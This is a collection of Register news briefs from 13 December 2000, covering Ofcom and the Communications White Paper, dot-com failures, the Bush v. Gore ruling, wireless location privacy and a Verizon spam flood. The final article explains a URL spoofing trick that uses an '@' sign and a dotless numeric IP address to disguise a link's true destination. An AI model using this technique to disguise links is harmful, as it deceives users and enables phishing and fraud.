The new super regulator - the Office of Communications (Ofcom) - will continue to wage war on illegal material on the Net although Government preference appears to remain in self-regulation. It seems Ofcom does not want to be a heavy-handed regulator - at least when it comes to Net content. For example there's no mention of Ofcom introducing a "watershed" for Net content - similar to that used by broadcasters - probably because such a crude device would be almost impossible to implement. Instead, it favours the approach pursued by the Internet Watch Foundation (IWF), which was set up in 1996 by ISPs to enable members of the public, via a hotline, to report child pornography or other illegal material on the Internet. The IWF then informs the relevant authorities to take action. The White Paper also wants to promote rating and filtering systems that help Internet users control the content they and their children will see. The White Paper says: "It is important that there are effective ways of tackling illegal material on the Internet and that users are aware of the tools available, such as rating and filtering systems, that help them control what they and their children will see on the Internet. Research suggests that this is what people want in relation to the Internet, rather than third party regulation." Ofcom will continue to work at an international level to "secure from our overseas partners the necessary co-operation to maximise the effectiveness of rating and filtering." What exactly this means is hard to guess. However, expect a row if - or when - "filtering" becomes translated into "censorship". ® Related Links The Communications White Paper Related Stories Govt slags off Oftel - between the lines Govt announces creation of super comms regulator Oftel signs own death warrant
Tim Richardson, 13 Dec 2000

EZBid goes titsup.com

It is becoming increasingly clear that if you are not eBay, or a white-labelled Fairmarket auction (like MSN and ZDNet) then you should leave well alone. Take a look at EZBid.com, the US online auction business, which has gone titsup.com. The Seattle-based firm is shutting its doors to new lots as of December 15 and has put its assets up for sale. This is a very quick deterioration from December 8, when the company announced the de[arture of Timothy Black, CEO, President and founder. He resigned to spend more time on raising fresh funds. There was some tittle-tattle a few weeks back that eBay was interested in buying the company. Today's news confirms that this rumour was certainly true. Once upon a time, EZBid was known as Bidhit.com. Set up in 1997, the company offered users the chance to bid for "brand-name computers, peripherals, camera equipment, sporting goods, household goods, home electronics and sports memorabilia". In other words, it was a B2C retail venue for inventory close-outs, with anauction twist. ®
Drew Cullen, 13 Dec 2000

Govt's wish is Net for all

The Government intends to make the Net available to every single soul in Britain by 2005, according to the Communications White Paper published yesterday. In what is merely a reaffirmation of policy already published by the Government, it claims it will meet it its pledge for universal access thanks to a range of initiatives such as offering 100,000 PCs to families on low incomes. By December 2002, more than 6,000 centres around the country will provide Net access and support. This is in addition to all public libraries being online by 2002. The Paper says: "The Prime Minister has stated the Government's commitment to achieving universal access to the Internet by 2005 for those that want it. "Such access will be either through devices at home, work or on the move or through access in a nearby community centre. It then bangs on about how WAP (Wireless Application Protocol) services are now available for "people on the move". Heavens to Betsy, they must be joking, Have the people who wrote this ever used a WAP phone? ® Related Links The Communications White Paper Related Stories Govt slags off Oftel - between the lines Govt announces creation of super comms regulator Oftel signs own death warrant
Tim Richardson, 13 Dec 2000

What if you build a hub and no one turns up?

Hyperchannel has scaled back operations and is changing its business model, after failing to attract the support of IT disties, MicroScope reports. The company has made 12 people redundant and closed down some local offices on the Continent, Hyperchannel originally positioned itself as a B2B trading hub for the channel, but distributors are fiercely opposed to sharing margins and customers with another intermediary. Hyperchannel is now casting itself as a provider of shop-fronts. The company estimates it has enough funding for another 14-15 months. E-exchange, another channel B2B trading hub wannabe, collapsed into receivership a few weeks ago. Computerland gets back in the black, published on: 12/12/2000 Computerland, the Nottingham reseller, has reported 'a significant period of growth' for the six months to 31 October 2000. The 'turnaround performance' saw sales leap 51 per cent to £19.8 million, and the firm move back into the black with pre-tax profits of £232,000 (1999 H1: loss £299,000). The company also reports strong cash flow, with net cash of £3.1 million. The company is shelling out a dividend of 0.8p per share and says it will buy back shares in order to enhance earnings. Ericsson has ended its distribution agreement with Alcatel and will now sell direct to its resellers, according to channel paper CRN. The move is part of the fall out of Alcatel acquiring Ericsson's distributor Newbridge Networks, a deal announced back in February 2000. Ericsson has pulled away from Alcatel, because the French mobile phones to metallurgy company has a product which competes directly with Ericsson's Tigris platform. Adaptive Accounting plans to grab the custom of Pegasus resellers by offering them a £1000 discount on its financial software package Accounting Office. According to reseller paper CRN the deal is aimed specifically at Pegasus' dealer base and Adaptive hopes it will get more than 100 resellers to sign up with them over the next 12 months. Also on offer are cut price seminars, training, and software for in-house use. Pegasus said it wasn't that concerned.
Drew Cullen, 13 Dec 2000

The year is 2020 and it's a digicrime nightmare scenario

A government think tank, Foresight, has produced a report on the future of crime in a world that has gone online. The world of the criminal will be radically changed by new technology. Rather than nicking your car stereo, the thief of 2020 will be after your whole digital persona. Electronic theft and fraud will happen faster, reducing the chances of catching a person red-handed. But there will be trade-offs. Physical property will be easier to protect when it can all be tagged, for example, and much more identifying evidence will be able to be gathered from the scene of a crime. Reaction to crime will also change, as people have less contact with offenders. However, Foresight could not be sure whether attitudes would get more liberal or become harsher. Society will become more individualised. Traditional communities will be replaced by groups united by a common interest or a common goal, rather than by an accident of geography. These groups, the thinktank warns, could actually reinforce the more anti-social behaviours that the digital underworld of 2020 will harbour. Their actions could thwart both police and criminal activities. The report states: "Ability and tendency of those on the Internet to broadcast information when available, could conceivably harm criminal endeavours as well as those of the law enforcement and crime prevention." The report also included descriptions of two alternative futures. One supposed to be the dark side of the digital revolution - a society divided and hiding behind walls. The second was meant ot be a happy picture of some utopian digitised society. Frankly they both gave me the fear, and the latter rather more than the former. If this is where technology is going, you can count me out. ® Related Link "
Lucy Sherriff, 13 Dec 2000

IGClick ditches unmetered Net access

Another whinging ISP, IGClick, is to can its unmetered Net access service blaming punters for using the service too much. No one from the ISP bothered to answer the phone when The Register called this afternoon. It just rang dead - which is nice. Great customer service. Not. Instead, the ISP hid behind a statement posted on its site earlier today which says it will suspend its flat-fee unmetered service from December 20th. It complains about its systems being unable to "cope with the continuous abuse by a certain section of our customer base". It bemoans how it has "attracted a hardcore element of users who continue to repeatedly abuse the service with blatant disregard for other customers on the network and detrimental to the service delivery plans of IG". It continues: "The extent to which this has continued has led to the level of service remaining totally unacceptable to our customers and ourselves, from the service we seek to provide. "As a company we feel that the only way forward is to suspend our 0808 service from 20th December 2000. "We apologise to our genuine customers who may feel that IG have let them down," it says. In an attempt to absolve itself from all responsibility, it says that "if we had a whole customer base of genuine users we would be able to continue with the 0808 (free dial) service." So, it's Net users' fault for paying £30.00 a year for 24/7 unmetered Net access - and then using it. The bloody cheek. ®
Tim Richardson, 13 Dec 2000

Sun is top dog in Unix market

Sun Microsystems is keeping ahead of its competitors in the Unix server market according to the latest figures from market analysts IDC. An IDC report on the server market, released today, shows Sun is ahead of Hewlett-Packard, IBM and Compaq in terms of both shipments and revenues. Sun has 39 per cent of the Unix server market by revenue - with HP, IBM and Compaq controlling 23 per cent, 16 per cent and nine per cent of the market respectively. According to IDC's third quarter Server Tracker Report almost half the Unix servers shipped came from Sun. "The IDC report shows that the Sun Enterprise and Netra server lines are clear winners with customers - no recounts necessary and no dimpled, pregnant or hanging chads," said Shahin Khan, vice president of marketing for Sun's systems products. The IDC figures are in sharp contrast to reports by financial analysts that cast doubt on whether Sun can sustain its performance long-term. Analysts at Goldman Sachs and Bank of America Securities have issued cautious research bulletins about Sun that said it might struggle to meet sales targets in the face of a global economic slowdown in server sales. The introduction of more competitive products from Hewlett-Packard and Compaq may also eat into Sun's share of the Unix market, they warned Over the course of the quarter the IDC report shows the Unix server market grew 20 per cent, compared to last year's figures. However not too much should be read into this particular statistic because even Sun admits last year's figures were affected by a Year 2000 related spending slowdown. Taking into account Windows servers, IDC figures show factory revenues for the whole server market jumped 12 per cent from the year-ago quarter to $15.4 billion. Demand for Intel-based rack mounted servers was particularly strong. The figures also show Linux servers are becoming increasingly popular. Revenues for this emerging operating environment increased a whopping 178 per cent from the same period last year. ® Related stories HP confident of double-digit growth in 2001 Compaq plans $1bn purchase of own stock The VAX of Life: Sun's cluster guru talks Full Moon
John Leyden, 13 Dec 2000

Orange now not charging for 0800 calls

Orange has caught a bit of flak this week when it came to light that it had started charging for 0800 data calls, without informing customers. The charges kicked in on 1 December but went unnoticed until this Monday. Unsurprisingly, Orange customers had something to say about this. Orange quickly told those who complained that they would be reimbursed - but charged from then on, because they then knew about the charge. But when the trickle threatened to become a torrent, it pulled the charge system altogether until January and has promised to reimburse everyone. Why is this story written in the past tense? Because it has only just broken but has also been dealt with already by Orange. So, most importantly, what's the situation: Well, Orange will charge for all 0800 data calls from 1 January (although the date's not finalised). Note that 0800 voice calls will still be free, but WAP phones are included as data traffic so will be charged. So what was this mess all about? An Orange spokeswoman explained: "The charging did start on 1 December, in line with our new price plan brochure that would have told everyone about the new charges. However, the brochure was postponed [she doesn't know why] until January." So there you have it - a case of wheels turning and corporate communication troubles. It's a cock-up alright, but we're quite impressed with the one-day cleaning up of the situation. The charges are presumably coming in so Orange can start pushing its fancy phones next year, including the videophone. ®
Kieren McCarthy, 13 Dec 2000

US Supremes hand White House to Dubya

The US Supreme Court issued an unsigned ruling late Tuesday night which found by a margin of five to four that the state-wide manual re-counts ordered by Florida's Supreme Court violate equal rights on grounds that there is no consistent standard for judging whether a vote was cast; and remanded the case, with considerable irony, to the Fla Supremes, noting that thanks to their own interference there is now not enough time to conduct such a re-count even if the Fla Supremes were to issue a standard. The Florida Supremes made it clear in ordering the re-counts -- which the US Supremes ordered stopped on Saturday -- that they did not want the dispute to extend beyond the 12 December deadline for states to choose their presidential electors. "Because it is evident that any re-count seeking to meet the 12 December date will be unconstitutional....we reverse the judgment of the Supreme Court of Florida ordering the re-count to proceed," the US Supremes said. The High Court did, however, reject Bush's claim that the Fla Supremes had exceeded their Constitutional authority in ordering the re-count. The Court's three Right-Wingers, Justices Rehnquist, Scalia and Thomas, issued their own opinion, damning the Fla Supremes for violating the Constitution by ordering the re-count. Conservative Justices Kennedy and O'Connor, who we believe voted with the majority Tuesday night, declined to add their signatures. The Court's three Left-Wingers, Justices Ginsburg, Breyer and Stevens, also issued their own opinion, damning the Bush appeal as a "federal assault" on Florida law. Conservative Justice Souter, who we believe joined the minority on Tuesday night, and who had earlier joined in dissenting against Saturday's re-count obstruction, declined to add his signature. It's now almost certain that Dubya will be sworn in as US President in January. The only glimmer of hope for Al Bore would come if the Florida Supremes should decide that in light of the US Supremes' decision, they have no choice but extend the re-counts into the electoral grey-area between the 12 December deadline for choosing electors and 18 December when the electors must cast their votes -- something which they have repeatedly resisted. Election madness The Florida Court is hardly overreacting in its reluctance to risk hardcore election madness. If the Court should demand re-counts during the December 12-18 window, and Gore should then be found to have won the state, the US will end up with two sets of Florida electors between which the US Congress will have to choose. While it's true that federal law allows for this situation, the partisan complexion on Capitol Hill almost guarantees that yet another stalemate would result. The House has a Republican majority which will undoubtedly go with Dubya, while the Senate will have an effective Democrat majority, being 50/50 with Veep Bore breaking the tie, obviously in his own favour. Unless a couple of Senate Democrats 'defect' in order to harmonise the vote with the House (and just imagine the last-minute horse trading behind closed doors in that case), the House/Senate tie would be broken by none other than the Florida Governor, Dubya's brother Jeb Bush. Of course no one outside the lower reaches of the Third World would wish to win a presidential election in such a manner. So while there is a remote possibility that the Florida Supremes would satisfy the US Supremes' objection by devising a state-wide standard for examining ballots by hand and ordering the re-count to proceed, we rather think they'll prefer not to open that can of worms. And no one can blame them for that. Winners and Losers The nominal winner is Dubya, though either way it might have gone, Election 2000 has become a Pyrrhic victory for whoever moves into the White House in January. The tactics on both sides have been low, the rhetoric high, and the competition bitter and relentless. It will be a four-year lame duck administration with a grid-locked Senate any way one cuts it. The election alone was close enough that there would have been little hope for either president to move legislative proposals without the other party's support, which means that the White House legislative affairs office will become the most important of all, and that anything proposed will have to be palpably centrist. Residual bitterness from the election dispute will only confirm that momentum, leaving us with a Dubya White House virtually indistinguishable from a Bore White House, or vice versa. The buzz on the street in Washington is that Bore plans to concede the election Wednesday night in a televised speech scheduled for around nine o'clock EST. This will be his last chance to redeem his own reputation which has slid considerably during the protracted contest. He will have to explain his motives exceptionally well -- something he has thus far failed to do -- and concede with grace and dignity. Then, perhaps, he will have a realistic shot at the prize in '04, so long as Hillary lets him. Perhaps the loser in this whole fiasco, as Justice Stevens wrote in his Tuesday dissent, is not Bore but the judiciary itself. We've already seen profoundly partisan disputes in the local Florida courts, between Florida's Supreme Court and Legislature, and between the state and federal courts. "Although we may never know with complete certainty the identity of the winner of this year's presidential election, the identity of the loser is perfectly clear. It is the nation's confidence in the judge as an impartial guardian of the rule of law," Justice Stevens wrote. We might just leave it at that. ® Related Stories US Supremes stop Florida re-counts Register total scorched-earth election coverage
Thomas C Greene, 13 Dec 2000

FTC mulls wireless privacy

Government-mandated technology capable of determining a mobile phone user's physical location dominated a daylong conference about privacy and security issues in the wireless industry, hosted by the Federal Trade Commission in Washington Tuesday. "It's a level of information that hasn't heretofore been available," acknowledged Michael Altschul, vice president of the Cellular Telecommunications Industry Association (CTIA). Under rules adopted by the Federal Communications Commission, wireless carriers will begin selling phones with the tracking technology by December, 2001. The feature is intended to help 911 emergency operators direct police and paramedics to the location of cellular or PCS users when they call for help. The tracking systems will use one of two techniques: Some phones will be sold with built-in GPS satellite receivers capable of locating themselves within 50 meters then transmitting that information over the wireless network. Another solution triangulates a phone's signal within 100 meters using an existing network of transmitters. To recover the capital burn of complying with the FCC rules and creating the systems, carriers plan to sell services that exploit location data. For example, mobile phone users might be treated to text ads for nearby businesses, or an automated service could direct lost drivers in real time. But in the wrong hands, the same technology could be valuable to stalkers, private investigators, and data miners who build profiles on consumers. Industry groups vowed Tuesday to protect location data from that sort of mischief. "A consumer simply is not going to use a service that they can't trust," said John Jimison, executive director of the newly-formed Wireless Location Industry Association. Location data would be treated with the same sensitivity as telephone subscribers' calling records, under a self-regulation proposal by the CTIA, "There's a long record of dealing with the integrity of call detail information," said Altschul. "What we propose is to continue that with location information." Unlike consumer information gathered on the Internet, wireless location data isn't entirely unregulated: Under FCC rules, location information can't be used for anything except 911 calls without a customer's "express prior authorization." Privacy Foundation CTO Richard Smith said his greatest concern isn't with corporations at all, but rather with law enforcement agencies, which will likely be able to use the new cell phones as tracking devices with a court order. "The cops will just love this," said Smith in an interview. © 2000 SecurityFocus.com. All rights reserved.
Kevin Poulsen, 13 Dec 2000

P4 party people

HWRoundupHWRoundup Planet Hardware has finished its review of the P4. After all the confusion over at Dr T's, this lot reckoned they'd wait until all the votes were recounted. Click here to get the rest of their thoughts on the beast. OC Workbench has put a review of the AOPEN AK73Pro together. It seems that AOpen's investment in the old R&D department has paid off. OC Workbench has no hesitation in giving this one a four-and-a-half-star rating. Oh, and while you are there, check out the frontpage for news about the 815EP mainboards from DFI. Tweaktown has delved into the workings of the EPOX EP-8KTA3 motherboard and so pleased were they that it scooped the Editor's Choice award. Getting into the Christmas spirit still further, the gaming reviews have started to populate the sites a little more than they did in June. In keeping with this theme, Maximum3D has reviewed the Saitek PX4000 Playstation 2 gamepad. This is a PS2 Dual Shock controller, with a few extra gizmos stuck on. Click here. Updates are helpful when stuff changes. 3DHardware kow this, and so they've updated their review of the Creative Labs D.A.P. Jukebox - apparently it has a whole bunch of new features. Check it out, but don't forget the contrast and compare section. ® We know what you like, and there is more of it here, in our archives.
Lucy Sherriff, 13 Dec 2000
DVD it in many colours

Ofcom – all mouth, no trousers and very hard to swallow

Despite the rhetoric from Government spinsters, Ofcom - the new super regulator that will oversee Britain's communication industry - will be an impotent regulator unable to deal with the likes of BT. The Communications White Paper acknowledges that it is important that Ofcom has "sufficient powers to carry out its duties" and that it is able to "take tough action when necessary and to ensure that regulated companies take the action which is required of them". But it goes on to say: "We therefore intend that Ofcom will have enforcement powers analogous to those of Oftel and the ITC (Independent Television Commission)." Can't you just hear the groans? If that's the case, either Ofcom is going to another ineffective regulator wrapped round the finger of those whom it is supposed to regulate, or Oftel has been too timid to use its powers. Either way, using Oftel as a benchmark for regulatory power hardly instils confidence in the news super watchdog. The Paper goes on: "In addition, we will give Ofcom Competition Act type powers to levy financial penalties for breaches of the sector-specific regulatory requirements. This will bring the range of enforcement powers into line with the powers of other regulatory bodies, for example the Financial Services Authority and the Office of Gas and Electricity Markets." It continues: "Whichever approach is adopted, regulation must also be kept at the minimum necessary level to deliver our goals for consumers and society. "So far as regulation of communications networks is concerned, Ofcom will be expected to ensure that regulation is not framed in terms of particular technologies and does not restrict technical innovation. Regulation should generally be concerned only with the key issues for consumers and citizens, i.e. the range, quality, accessibility and price of services. Ofcom should therefore keep technological developments, and their implications for the regulatory objectives, under review." ® Related Link The Communications White Paper Related Stories Govt slags off Oftel - between the lines Govt announces creation of super comms regulator Oftel signs own death warrant
Tim Richardson, 13 Dec 2000

Verizon digs out from spam blizzard

Major American ISP and Gargantuan telecomms generalist Verizon (a monstrosity produced by the marriage of Bell Atlantic and GTE) was deluged with so much spam last week that its servers were unable to function at times, and left customers with something like a 24-hour e-mail delivery delay. It just so happens that The Register's Washington Bureau is a Verizon DSL subscriber, and we can confirm that our own e-mail service has been severely hobbled for periods of up to eight hours since then (apologies to our beloved readers still waiting for sarcastic replies to their flames). While the company has since added software and hardware firewalls (which should already have been in place, but we digress) and strapped on some extra capacity, it has been frustrated in efforts to clear its pipes of the offending pink substance since its gear still has to function whilst being snaked out. "It's like that classic I Love Lucy episode where Lucy works on a conveyer belt packaging pies. Once she gets slightly behind, the backup begins and only gets worse," Verizon spokesman Larry Plumb remarked to The Register. Whereas it might take only two days to separate the spam from the legitimate mail if the contaminated equipment could be taken off line, best estimates under the circumstances indicate that the job won't be complete until Friday, Plumb explained. A good deal has already been done, and currently most subscribers are experiencing delays of about five minutes, he said. With that in mind, we increased our server timeout option to five minutes (the maximum allowed) in Outlook with some success, and recommend it to our frustrated readers for partial relief. Verizon believes it knows the domain or ISP where the spam originated but wouldn't spill the beans to us until the police investigation is complete. Here we hope to find a ray of hope for all of us persecuted by spammers. As more ISPs begin to count the costs in terms of bandwidth stolen, maintenance hassles and customer frustration, they could actually get together and apply something like real lobbying pressure in Washington to counterbalance the Herculean efforts of advertising lobbyists to maintain the unpalatable status quo. Well, ya gotta dream.... ®
Thomas C Greene, 13 Dec 2000

Spoofed story pokes fun at Gore

A subtle method to produce spoofed news stories so that they appear to come from reputable news sources has been used to poke fun at Al Gore. At first sight, any user pointing their browser at this site would think CNN had a world exclusive on the Vice President's attempt to hijack a truck full of ballots in a bizarre attempt to turn the US Presidential race. Anyone receiving a link to the piece, which is doing the rounds by e-mail, might assume, as we did at first, that CNN's site had been hijacked by pranksters. In truth a technique beloved by spammers had been applied to point users at a totally different site. As explained in greater depth here, the weird looking address takes advantage of several things most people don't know about the structure of a valid URL. The main trick is that anything between "http://" and "@" is completely irrelevant. So the address of the spoofed story is actually 1076628671/top_story/ - a valid IP address despite the apparent lack of dots, because it uses a format called double word which is understood by browsers, if not humans. Incidentally, the use of the @ feature is commonly used for authentication, but if a site does not require a password, logon is automatic and thus the user notices nothing. The idea that users can be redirected to sites that have nothing to do with what they intend is a scary one, and the technique opens the way to all kinds of abuse. Imagine that you want to indulge in a spot of ecommerce at xmasbargain.com and actually you're sending your credit card details to russianmafia.org. We can only hope that use of the technique remains as benign as the spoofed CNN story. For the record, the story reported that Al Gore had hijacked a truck containing disputed ballots after the US Supreme Court ruling went against him in some O.J.-esque performance. It reported: "Al Gore has been leading 42 police cars and eight television-network helicopters on a six-hour slow-speed car chase through Florida. Sources close to the Florida department of public safety have told CNN that Al Gore is the only one in the truck and is driving with a gun pointed to his head." Class writing that wouldn't look out of place on The Onion... ®
John Leyden, 13 Dec 2000